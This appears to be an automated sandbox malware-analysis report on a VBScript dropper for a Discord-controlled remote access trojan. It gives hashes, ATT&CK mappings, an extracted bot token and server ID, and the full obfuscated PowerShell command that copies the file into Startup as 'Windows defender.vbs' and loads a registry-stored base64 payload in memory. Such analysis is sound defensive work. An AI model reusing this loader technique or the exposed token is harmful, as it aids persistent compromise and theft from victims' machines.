discordrat | 9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016

Analysis

max time kernel
424s
max time network
1146s
platform
windows11-21h2_x64
resource
win11-20240708-en
resource tags

arch:x64arch:x86image:win11-20240708-enlocale:en-usos:windows11-21h2-x64system
submitted
08-07-2024 19:10

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General

Target

FUD.vbs
Size

105KB
MD5

2502518aa797758d68760e5c46f4fd85
SHA1

27f0b73cea1441a772d9635e4f95441ec754549c
SHA256

9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016
SHA512

59ac66961c7a9945d2c3d062662a8e3fe2161d6498a994404261432f62d0af9df35d94900e302da6cfaa5daf8eb1130a83be88fa4c9f874073519341b84cfbae
SSDEEP

1536:BF67GmLWRSsyLZ6Tt1fk9umda0otZHe7GcAthbTmtDFsyCV1XqFv6Z9Ho4TUYj+R:z677LKvfzftUaHvHQwh6IeyRu

Score

10^/10

discordrat execution persistence rat rootkit stealer

Malware Config

Extracted

Family

discordrat

Attributes

discord_token
MTI0NzY0ODI3NjkwNDI4NDIxMQ.GeRPhp.MDSXGRuUn2u8gLfs_a8HNeOahYRKGQaJRsgUWw
server_id
1247801636122787851

Signatures

Discord RAT
A RAT written in C# using Discord as a C2.
stealer rootkit rat persistence discordrat

Drops startup file 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows defender.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows defender.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3372 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3372 powershell.exe
3372 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3372 powershell.exe

pid	process
3372	powershell.exe

pid	process
3372	powershell.exe
3372	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3372	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 424 wrote to memory of 3372	424	WScript.exe	powershell.exe
PID 424 wrote to memory of 3372	424	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows defender.vbs'; $disagreements = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $disagreements = -join $disagreements[-1..-$disagreements.Length];[<##>AppDomain<##>]::<##>('compositionurrentDomain'.replace('composition','C'))<##>.<##>('Switzerlandoad'.replace('Switzerland','L'))([Convert]::FromBase64String($disagreements))<##>.<##>('taeniacidentryPoint'.replace('taeniacide','E'))<##>.<##>('Inlumpyoke'.replace('lumpy','v'))($Null,$Null)<##>;
2⤵
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3372

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zf1ahxtk.rss.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3372-0-0x00007FFF5F1F3000-0x00007FFF5F1F5000-memory.dmp

Filesize
8KB

Download
memory/3372-9-0x000001EAF8E60000-0x000001EAF8E82000-memory.dmp

Filesize
136KB

Download
memory/3372-10-0x00007FFF5F1F0000-0x00007FFF5FCB2000-memory.dmp

Filesize
10.8MB

Download
memory/3372-11-0x00007FFF5F1F0000-0x00007FFF5FCB2000-memory.dmp

Filesize
10.8MB

Download
memory/3372-13-0x00007FFF5F1F0000-0x00007FFF5FCB2000-memory.dmp

Filesize
10.8MB

Download
memory/3372-12-0x000001EAF92B0000-0x000001EAF92F6000-memory.dmp

Filesize
280KB

Download
memory/3372-15-0x000001EAF8EF0000-0x000001EAF8F08000-memory.dmp

Filesize
96KB

Download
memory/3372-17-0x00007FFF5F1F0000-0x00007FFF5FCB2000-memory.dmp

Filesize
10.8MB

Download
memory/3372-18-0x00007FFF5F1F3000-0x00007FFF5F1F5000-memory.dmp

Filesize
8KB

Download